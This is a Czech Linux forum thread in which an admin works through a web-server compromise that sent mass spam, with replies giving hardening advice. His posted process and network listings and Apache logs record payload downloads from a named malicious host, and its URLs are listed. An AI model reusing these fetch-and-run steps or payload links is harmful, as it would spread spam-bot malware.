abclinuxu.cz AbcLinuxu.cz itbiz.cz ITBiz.cz HDmag.cz HDmag.cz abcprace.cz AbcPráce.cz
AbcLinuxu hledá autory!
Inzerujte na AbcPráce.cz od 950 Kč
Rozšířené hledání
×
dnes 08:22 | Nová verze

Byla vydána první beta verze Ubuntu 17.04 s kódovým názvem Zesty Zapus. Ke stažení jsou obrazy Kubuntu, Lubuntu, Ubuntu Budgie, Ubuntu GNOME, Ubuntu Kylin, Ubuntu Studio a Xubuntu. Dle plánu by Ubuntu 17.04 mělo vyjít 13. dubna 2017.

Ladislav Hagara | Komentářů: 0
včera 17:53 | Bezpečnostní upozornění

Google na svém blogu věnovaném počítačové bezpečnost informuje o nalezení "reálného" způsobu generování kolizí hašovací funkce SHA-1. Podrobnosti a zdrojové kódy budou zveřejněny do 90 dnů. Již dnes lze ale na stránce SHAttered nalézt 2 pdf soubory, jejichž obsah se liší a SHA-1 otisk je stejný (infografika).

Ladislav Hagara | Komentářů: 8
včera 17:51 | Nová verze

Vyšla nová verzia open source software na správu a automatizáciu cloudových datacentier Danube Cloud 2.4. Danube Cloud je riešenie postavené na SmartOS, ZFS, KVM a zónach. Obsahuje vlastnosti ako integrovaný monitoring, DNS manažment, zálohy, a samozrejme rozsiahlu dokumentáciu.

dano | Komentářů: 1
včera 17:46 | Pozvánky

V Plzni se 3. až 5. března 2017 uskuteční AIMTEChackathon. Je to akce pro vývojáře, grafiky, webdesignéry i veřejnost. Akci provází zajímavé přednášky IT odborníků. Více o programu a možnosti přihlášení na stránkách akce.

cuba | Komentářů: 0
včera 01:00 | Nová verze

Známý šifrovaný komunikátor Signal od verze 3.30.0 již nevyžaduje Google Play Services. Autoři tak po letech vyslyšeli volání komunity, která dala vzniknout Google-free forku LibreSignal (dnes již neudržovaný). Oficiální binárky jsou stále distribuované pouze přes Google Play, ale lze použít neoficiální F-Droid repozitář fdroid.eutopia.cz s nezávislými buildy Signalu nebo oficiální binárku stáhnout z Google Play i bez Google účtu

… více »
xm | Komentářů: 5
22.2. 23:14 | Nová verze

Po třech týdnech od vydání první RC verze byla vydána první stabilní verze 17.01.0 linuxové distribuce pro routery a vestavěné systémy LEDE (Linux Embedded Development Environment), forku linuxové distribuce OpenWrt. Přehled novinek v poznámkách k vydání. Dotazy v diskusním fóru.

Ladislav Hagara | Komentářů: 6
22.2. 17:28 | Bezpečnostní upozornění

Byly zveřejněny informace o bezpečnostní chybě CVE-2017-6074 v Linuxu zneužitelné k lokální eskalaci práv. Jde o chybu v podpoře DCCP (Datagram Congestion Control Protocol). Do linuxového jádra se dostala v říjnu 2005. V upstreamu byla opravena 17. února (commit). Bezpečnostní chyba byla nalezena pomocí nástroje syzkaller [Hacker News].

Ladislav Hagara | Komentářů: 13
22.2. 15:00 | Zajímavý software

Společnost Valve vydala novou beta verzi SteamVR. Z novinek lze zdůraznit oficiální podporu Linuxu. Další informace o podpoře této platformy pro vývoj virtuální reality v Linuxu v diskusním fóru. Hlášení chyb na GitHubu.

Ladislav Hagara | Komentářů: 0
22.2. 06:00 | Nová verze

Po necelém roce od vydání verze 0.67 byla vydána verze 0.68 populárního telnet a ssh klienta PuTTY. Podrobnosti v přehledu změn. Řešeny jsou také bezpečnostní chyby.

Ladislav Hagara | Komentářů: 0
21.2. 21:32 | Nasazení Linuxu

Canonical představuje nejnovější verzi chytré helmy DAQRI s Ubuntu pro rozšířenou realitu. K vidění bude příští týden v Barceloně na veletrhu Mobile World Congress 2017.

Ladislav Hagara | Komentářů: 0
Jak se stavíte k trendu ztenčování přenosných zařízení (smartphony, notebooky)?
 (13%)
 (2%)
 (71%)
 (3%)
 (10%)
Celkem 694 hlasů
 Komentářů: 66, poslední 22.2. 18:57
    Rozcestník

    Dotaz: Kompromitace poštovního serveru

    16.1.2010 09:18 kibo | skóre: 17 | blog: Fedora Core 4 | Znojmo
    Kompromitace poštovního serveru
    Přečteno: 470×

    Dobrý den


    v noci mi na email přišlo mnoho (sca 150) emailů od MAILER-DAEMONs. Emaily obsahují standartní správu o tom, že email na XX emailovou adresu nemohl být doručen.

    Jako adresa odesílatele je všude uvedená adresa mého serveru ve tvaru:

    apache@server.mojeDomena.cz

    Moc nevím co mám dělat. Nevím, zda spameři pouze použily emailovu adresu serveru, či zneužily server k odesílání spamu. Jak se to dá zjistit? Je možné, že někdo můj server přidá do nějaké databáze spamových rozesílačů a ostatní poštovní servery nebudou přijímat emaily z naší domény? Jak to zjistit?

    Emaily odesílá Apache? Tedy z nějakého webového rozhranní na nějakém hostujícím webu?

    děkuji za pomoc

    Tomáš

    Odpovědi

    16.1.2010 09:47 Jakub Suchy | skóre: 22 | Praha
    Rozbalit Rozbalit vše Re: Kompromitace poštovního serveru
    Jelikoz to chodi z apache, asi tam je nekde nejaky web neochraneny proti spam botum, pripadne uz jsem videl utoky kdy uploadli pres FTP skript, kterym pak spamovali.

    Kazdopadne proti prvnimu urcite ochranou Suhosin (nutnost), proti druhemu se mi osvedcilo zakazat base64_decode() v eval pomoci suhosinu

    Samozrejme je treba nejdriv zjistit odkd to prislo presne...
    16.1.2010 10:07 Mti. | skóre: 31 | blog: Mti
    Rozbalit Rozbalit vše Re: Kompromitace poštovního serveru
    E-mailova adresa nic neznamena. Tu muze podvrhnout kdo chce. Dulezite je, z jake adresy (ip) ty zpravy byly skutecne odeslany (byva vetsinou uvedeno ve vracenem mailu). Pokud z Vasi, tak to teprve reste. Pokud z nezname, je to smutne, ze pouzili Vas e-mail, ale neudelate s tim nic.

    V pripade, ze to opravdu je Vas stroj - jestli Vam tam bezi webovy server, muzete projit jeho access log, zda tam neuvidite spousteni neceho, co jste tam nedal.

    To, ze mail nemohl byt dorucen je prilis hruby udaj. Byva tam napsan i podrobnejsi duvod toho nedoruceni. (jako treba schranka neexistuje, je plna...)

    A k te databazi - vetsinou, pokud je duvodem odmitnuti nejaky hatelist, byva primo v mailu s tim odmitnutim napsan i nazev nebo dokonce link. (co uz je ovsem smutnejsi vec, nektere spamlisty nemaji kloudnou cestu jak se nechat vyradit, protoze kontaktni adresy maji zavalene spamem a nikdo je necte ; ale vetsinou to byva automat, s kterym rec je.)
    Vidim harddisk mrzuty, jehoz hlava plotny se dotyka...
    16.1.2010 10:34 kibo | skóre: 17 | blog: Fedora Core 4 | Znojmo
    Rozbalit Rozbalit vše Re: Kompromitace poštovního serveru

    Děkuji za cenné rady.

    Emaily byly odeslány z našeho serveru.

    Logy Ftp a Apache prohledávám.

    16.1.2010 10:57 ikarlos
    Rozbalit Rozbalit vše Re: Kompromitace poštovního serveru
    Zneužití apache k rozesílání pošty by zabránilo defaultní pravidlo selinuxu (httpd_can_sendmail=off).....
    16.1.2010 11:34 kibo | skóre: 17 | blog: Fedora Core 4 | Znojmo
    Rozbalit Rozbalit vše Re: Kompromitace poštovního serveru

    V logu postfixu jsem našel čas odeslání. V Apache ani v Ftp logu v čase odesílání, ale nic mimořádného není.

    Jan 15 21:20:17 scorpio sendmail[26323]: o0FKKHqi026323: from=apache, size=164, class=0, nrcpts=1, msgid=<201001152020.o0FKKHqi026323@scorpio.myDomain.cz>, relay=apache@localhost
    Jan 15 21:20:17 scorpio sendmail[26327]: o0FKKHHe026327: from=apache, size=164, class=0, nrcpts=1, msgid=<201001152020.o0FKKHHe026327@scorpio.myDomain.cz>, relay=apache@localhost
    Jan 15 21:20:17 scorpio sendmail[26325]: o0FKKHoJ026325: from=apache, size=164, class=0, nrcpts=1, msgid=<201001152020.o0FKKHoJ026325@scorpio.myDomain.cz>, relay=apache@localhost
    ...
    
    Jendа avatar 16.1.2010 17:48 Jendа | skóre: 73 | blog: Výlevníček | JO70FB
    Rozbalit Rozbalit vše Re: Kompromitace poštovního serveru
    Třeba tam je nějaká děravá PHP aplikace. Co tam běží?
    Vox agroferti, vox Dei.
    16.1.2010 18:26 root
    Rozbalit Rozbalit vše Re: Kompromitace poštovního serveru
    a co access_log na ty casy?
    16.1.2010 20:23 kibo | skóre: 17 | blog: Fedora Core 4 | Znojmo
    Rozbalit Rozbalit vše Re: Kompromitace poštovního serveru

    V access_logu Apache, v Ftp logu, v lastlog nic podezřelého není

    Běží mnoho procesů perl

    ps -aux | grep apache
    apache    7754  0.0  0.0      0     0 ?        Z    11:56   0:00 [perl] defunct
    apache    8080  0.0  0.0      0     0 ?        Z    05:40   0:02 [perl] defunct
    apache    8173  0.0  0.0      0     0 ?        Z    11:57   0:00 [perl] defunct
    apache    8231  0.0  0.0      0     0 ?        Z    16:48   0:00 [perl] defunct
    apache    8344  0.0  0.0      0     0 ?        Z    06:20   0:01 [perl] defunct
    apache    8486  0.0  0.0      0     0 ?        Z    18:06   0:00 [sh] defunct
    apache    8491  0.0  0.1  36064  6604 ?        S    18:06   0:03 perl spamm.txt
    apache    8560  0.0  0.1  36060  6604 ?        S    18:06   0:03 perl spamm.txt
    apache    8704  0.0  0.1  36064  6604 ?        S    18:06   0:03 perl spamm.txt
    apache    8711  0.0  0.1  36064  6608 ?        S    18:06   0:02 perl spamm.txt
    apache    8731  0.0  0.0      0     0 ?        Z    16:48   0:00 [perl] defunct
    apache    8845  0.0  0.0      0     0 ?        Z    11:58   0:00 [perl] defunct
    apache    8847  0.0  0.0      0     0 ?        Z    18:06   0:00 [perl] defunct
    apache    8856  0.0  0.0      0     0 ?        Z    18:06   0:00 [perl] defunct
    apache    8917  0.0  0.0      0     0 ?        Z    18:06   0:00 [perl] defunct
    apache    9035  0.0  0.0      0     0 ?        Z    16:48   0:00 [perl] defunct
    ...
    
    netstat -natup | grep perl
    tcp        0      0 10.10.17.26:46387           201.63.167.164:6667         ESTABLISHED 26994/perl          
    tcp        0      0 10.10.17.26:46385           201.63.167.164:6667         ESTABLISHED 26987/perl          
    tcp        0      0 10.10.17.26:46389           201.63.167.164:6667         ESTABLISHED 27003/perl          
    tcp        0      0 10.10.10.1:52651            10.10.10.1:8009             ESTABLISHED 21346/perl          
    tcp        0      0 10.10.10.1:54889            10.10.10.1:8009             ESTABLISHED 21346/perl          
    tcp        0      0 10.10.17.26:36716           201.63.167.164:6667         ESTABLISHED 21346/perl          
    tcp        0      0 10.10.17.26:36718           201.63.167.164:6667         ESTABLISHED 21351/perl          
    tcp     1085      0 10.10.17.26:36703           201.63.167.164:6667         CLOSE_WAIT  21346/perl          
    tcp        0      0 10.10.17.26:56797           200.209.9.155:8067          ESTABLISHED 20960/perl          
    tcp        0      0 10.10.17.26:56796           200.209.9.155:8067          ESTABLISHED 20953/perl          
    tcp        0      0 10.10.17.26:56798           200.209.9.155:8067          ESTABLISHED 20965/perl          
    tcp        0      0 10.10.17.26:56801           200.209.9.155:8067          ESTABLISHED 21071/perl          
    tcp        0      0 10.10.17.26:56800           200.209.9.155:8067          ESTABLISHED 21033/perl          
    tcp        0      0 10.10.17.26:48711           200.209.9.155:8067          ESTABLISHED 8560/perl           
    tcp        0      0 10.10.17.26:48709           200.209.9.155:8067          ESTABLISHED 8491/perl           
    tcp        0      0 10.10.17.26:48714           200.209.9.155:8067          ESTABLISHED 8704/perl           
    tcp        0      0 10.10.17.26:48715           200.209.9.155:8067          ESTABLISHED 8711/perl  
    

    V adresáři /var/named/chroot/proc patří všechny procesy uživately apache.

    16.1.2010 20:30 kibo | skóre: 17 | blog: Fedora Core 4 | Znojmo
    Rozbalit Rozbalit vše Re: Kompromitace poštovního serveru

    Těch odeslaných emalů bylo mnoho tisíc. Kolem 40 tisíc emalů mi bylo vráceno na účet postmaster s hlavičkou Undelivered Mail Returned to Sender

    16.1.2010 21:21 kibo | skóre: 17 | blog: Fedora Core 4 | Znojmo
    Rozbalit Rozbalit vše Re: Kompromitace poštovního serveru

    V error_logu Apache je spousta podobných podivných řádků:

    --20:05:52--  http://ppslaterent.com/brd/v7.gif
    Resolving ppslaterent.com... 66.252.228.51
    Connecting to ppslaterent.com|66.252.228.51|:80... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 79079 (77K) [image/gif]
    Saving to: `v7.gif'
    
         0K .......... .......... .......... .......... .......... 64% 32.6K 1s
        50K .......... .......... .......                         100% 29.3K=2.5s
    
    20:05:55 (31.4 KB/s) - `v7.gif' saved [79079/79079]
    
    sh: fetch: command not found
      % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                     Dload  Upload   Total   Spent    Left  Speed
    
      3 79079    3  2645    0     0   8656      0  0:00:09 --:--:--  0:00:09  8656
     17 79079   17 14229    0     0   8093      0  0:00:09  0:00:01  0:00:08  7977
     30 79079   30 24365    0     0  11946      0  0:00:06  0:00:02  0:00:04 12525
     80 79079   80 63461    0     0  21585      0  0:00:03  0:00:02  0:00:01 23080
    100 79079  100 79079    0     0  22309      0  0:00:03  0:00:03 --:--:-- 23598
    sh: lnyx: command not found
    --20:06:32--  http://ppslaterent.com/nrs/vv.txt
    Resolving ppslaterent.com... 66.252.228.51
    Connecting to ppslaterent.com|66.252.228.51|:80... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 33413 (33K) [text/plain]
    Saving to: `vv.txt'
    
         0K .......... .......... .......... ..                   100% 71.1K=0.5s
    
    20:06:33 (71.1 KB/s) - `vv.txt' saved [33413/33413]
    
    syntax error at vv.txt line 29, near "my "
    BEGIN not safe after errors--compilation aborted at vv.txt line 58.
    sh: fetch: command not found
    syntax error at vv.txt line 29, near "my "
    BEGIN not safe after errors--compilation aborted at vv.txt line 58.
    syntax error at vv.txt line 29, near "my "
    BEGIN not safe after errors--compilation aborted at vv.txt line 58.
      % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                     Dload  Upload   Total   Spent    Left  Speed
    
      3 33413    3  1197    0     0   3928      0  0:00:08 --:--:--  0:00:08  3928
    100 33413  100 33413    0     0  43964      0 --:--:-- --:--:-- --:--:-- 70804
    sh: lnyx: command not found
    syntax error at vv.txt line 29, near "my "
    BEGIN not safe after errors--compilation aborted at vv.txt line 58.
    --20:06:37--  http://ppslaterent.com/nrs/spamm.txt
    Resolving ppslaterent.com... 66.252.228.51
    Connecting to ppslaterent.com|66.252.228.51|:80... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 52470 (51K) [text/plain]
    Saving to: `spamm.txt.1'
    
         0K .......... .......... .......... .......... .......... 97% 41.4K 0s
        50K .                                                     100% 2.42M=1.2s
    
    20:06:38 (42.5 KB/s) - `spamm.txt.1' saved [52470/52470]
    
    sh: fetch: command not found
      % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                     Dload  Upload   Total   Spent    Left  Speed
    
      4 52470    4  2645    0     0   8639      0  0:00:06 --:--:--  0:00:06  8639
     82 52470   82 43177    0     0  40142      0  0:00:01  0:00:01 --:--:-- 52638
    100 52470  100 52470    0     0  48746      0  0:00:01  0:00:01 --:--:-- 64623
    sh: lnyx: command not found
    
    

    Na URL z výpisu potom podivné scripty.

    http://ppslaterent.com/nrs/spamm.txt http://ppslaterent.com/nrs/vv.txt

    Jak je možné takové scripty přes Apache spustit? Co s tím mám dělat?

    Děkuji za radu.

    16.1.2010 21:38 kibo | skóre: 17 | blog: Fedora Core 4 | Znojmo
    Rozbalit Rozbalit vše Re: Kompromitace poštovního serveru

    Další script v error_log Apache je na url>

    http://ppslaterent.com/brd/v7.gif

    Obsahuje script pokud soubor otevřete jako text.

    cynic_asshole avatar 17.1.2010 03:13 cynic_asshole | skóre: 28
    Rozbalit Rozbalit vše Re: Kompromitace poštovního serveru
    Je to krásnej skript. Chtělo by to znát ty příkazy a pak ten bot prostě vypnout…
    Neznáš nějakou linuxovou distribuci pro Windows?
    17.1.2010 03:42 trekker.dk | skóre: 71
    Rozbalit Rozbalit vše Re: Kompromitace poštovního serveru
    Pod apachem běžící perl... že by to bylo tohle ?
    Quando omni flunkus moritati
    17.1.2010 09:39 kibo | skóre: 17 | blog: Fedora Core 4 | Znojmo
    Rozbalit Rozbalit vše Re: Kompromitace poštovního serveru

    Děkuji za vysvětlení.

    Stále mi není jasné jak se může škodlivý kód do php souboru dostat.

    Přes webový formulář? Jak může útočník něco zapsat do php souboru?

    Jinak všem děkuji za pomoc. Teď už to nějak srovnám.

    Tomáš

    17.1.2010 12:34 trekker.dk | skóre: 71
    Rozbalit Rozbalit vše Re: Kompromitace poštovního serveru
    Stále mi není jasné jak se může škodlivý kód do php souboru dostat.
    Způsobů je spousta a my to samozřejmě nezjistíme (leda že by někdo měl křišťálovou kouli) - to už je tvůj boj, pochybuju, že by se tu našel dobrák, kterej ti bude auditovat webserver.

    Z těch způsobů - může to být prozrazení přihlašovacích údajů k FTP účtu, přes který se dají nahrávat data na web (to už tu padlo), můžeš na tom serveru mít nějaký děravý PHP skript*, který zlejm hochům umožní nahrát svůj vlastní PHP skript na server a následně ho spustit.

    * například nějaký, který umožňuje upload souborů na server, ale nekontroluje přípony; popřípadě takový, který umožní vykonat vzdálený kód, třeba protože jsou špatně ošetřené vstupní parametry.
    Quando omni flunkus moritati

    Založit nové vláknoNahoru

    Tiskni Sdílej: Linkuj Jaggni to Vybrali.sme.sk Google Del.icio.us Facebook

    ISSN 1214-1267   www.czech-server.cz
    © 1999-2015 Nitemedia s. r. o. Všechna práva vyhrazena.